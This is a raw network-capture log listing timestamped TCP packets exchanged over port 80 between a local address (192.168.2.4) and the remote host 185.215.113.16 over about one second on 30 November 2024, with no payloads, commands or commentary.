Nov 30, 2024 18:08:41.653693914 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.653743982 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.655653954 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.655709028 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.655833960 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.655875921 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.657994032 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.659038067 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.749619961 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.749631882 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.749705076 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.750552893 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.750605106 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.750744104 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.750790119 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.752702951 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.752748966 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.753015995 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.753057957 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.754933119 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.754978895 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.755112886 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.755156994 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.757203102 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.757246971 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.757366896 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.757412910 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.775661945 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.775710106 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.775948048 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.775994062 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.776123047 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.776165962 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.776449919 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.776495934 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.777859926 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.777904034 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.778055906 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.778099060 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.779161930 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.779208899 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.779333115 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.779377937 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.780807018 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.780852079 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.780994892 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.781040907 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.782341003 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.782387018 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.782680035 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.782732010 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.783638000 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.783684969 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.784318924 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.784364939 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.785718918 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.785765886 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.785875082 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.785921097 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.787405968 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.787456989 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.787569046 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.787615061 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.788980007 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.789025068 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.789303064 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.789344072 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.790693045 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.790739059 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.790843964 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.790888071 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.792339087 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.792381048 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.792634964 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.792682886 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.793867111 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.793914080 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.794187069 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.794231892 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.794837952 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.794883013 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.795298100 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.795342922 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.796058893 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.796104908 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.796112061 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.796154022 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.797837973 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.797852993 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.797888041 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.797907114 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.799854040 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.799869061 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.800013065 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.800796986 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.800811052 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.800856113 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.802264929 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.802315950 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.802398920 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.802444935 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.803855896 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.803899050 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.804231882 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.804276943 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.805927038 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.805937052 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.805969000 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.805998087 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.807132006 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.807178974 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.807342052 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.807389021 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.810826063 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.810874939 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.811012983 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.811058998 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.811875105 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.811918974 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.811985016 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.812032938 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.813685894 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.813736916 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.813838959 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.813886881 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.815135002 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.815176010 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.815869093 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.815913916 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.816073895 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.816083908 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.816114902 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.816133022 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.817310095 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.817325115 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.817354918 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.817373991 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.818803072 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.818845987 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.818969965 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.819014072 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.820847988 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.820858955 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.820904970 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.821922064 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.821976900 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.822413921 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.822460890 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.823637009 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.823683977 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.824002028 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.824047089 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.825808048 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.825819016 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.825861931 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.826865911 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.826911926 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.827394009 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.827438116 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.828557014 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.828600883 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.828860998 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.828902960 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.830539942 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.830550909 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.830588102 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.832091093 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.832103014 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.832143068 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.833441973 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.833488941 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.833980083 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.834027052 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.835113049 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.835156918 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.835486889 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.835531950 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.837996006 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.838006973 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.838044882 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.839613914 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.839660883 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.839756012 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.839804888 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.841515064 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.841552973 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.841577053 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.841619968 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.842962027 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.843008041 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.843276024 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.843333006 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.844778061 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.844829082 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.844934940 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.844980001 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.846394062 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.846405029 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.846441984 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.848042965 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.848053932 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.848084927 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.848109961 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.849812031 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.849872112 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.850269079 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.850311995 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.851721048 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.851758957 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.851861954 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.851895094 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.853275061 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.853322029 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.853456020 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.853499889 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.854866028 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.854908943 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.855043888 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.855091095 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.856528997 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.856574059 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.975523949 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.975586891 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.975702047 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.975748062 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.977097988 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.977109909 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.977142096 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.977159977 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.977984905 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.978033066 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.978188992 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.978234053 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.979672909 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.979715109 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.979835033 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.979880095 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.981729031 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.981739998 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.981777906 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.982948065 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.982991934 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.983134031 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.983185053 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.984613895 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.984658957 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.984774113 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.984837055 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.986262083 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.986309052 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.986443043 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.986490011 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.987845898 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.987890959 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.988039017 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.988086939 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.989510059 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.989552975 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.989785910 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.989830971 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.991324902 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.991369963 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.991393089 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.991439104 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.993083000 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.993140936 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.993326902 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.993371964 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.994440079 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.994489908 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.994652987 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.994693041 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.996342897 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.996354103 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.996397972 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.997725010 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.997770071 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.997924089 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.997963905 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.999083042 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.999150991 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:41.999231100 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:41.999274015 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.000351906 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.000485897 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.000499964 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.000602007 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.001637936 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.001693010 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.001823902 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.001864910 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.002890110 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.002939939 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.003089905 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.003128052 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.004244089 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.004302979 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.004376888 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.004447937 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.005489111 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.005533934 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.005690098 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.005734921 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.006784916 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.006829023 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.007091045 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.007134914 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.008043051 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.008085012 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.008255959 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.008299112 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.009500027 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.009561062 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.009569883 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.009613991 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.010667086 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.010711908 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.010875940 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.010920048 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.011996031 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.012037992 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.012196064 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.012242079 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.013523102 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.013535976 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.013581038 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.014544964 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.014591932 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.014787912 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.014831066 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.015929937 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.015973091 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.016156912 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.016204119 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.017200947 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.017246008 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.017323017 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.017368078 CET	49837	80	192.168.2.4	185.215.113.16
Nov 30, 2024 18:08:42.018562078 CET	80	49837	185.215.113.16	192.168.2.4
Nov 30, 2024 18:08:42.018608093 CET	49837	80	192.168.2.4	185.215.113.16
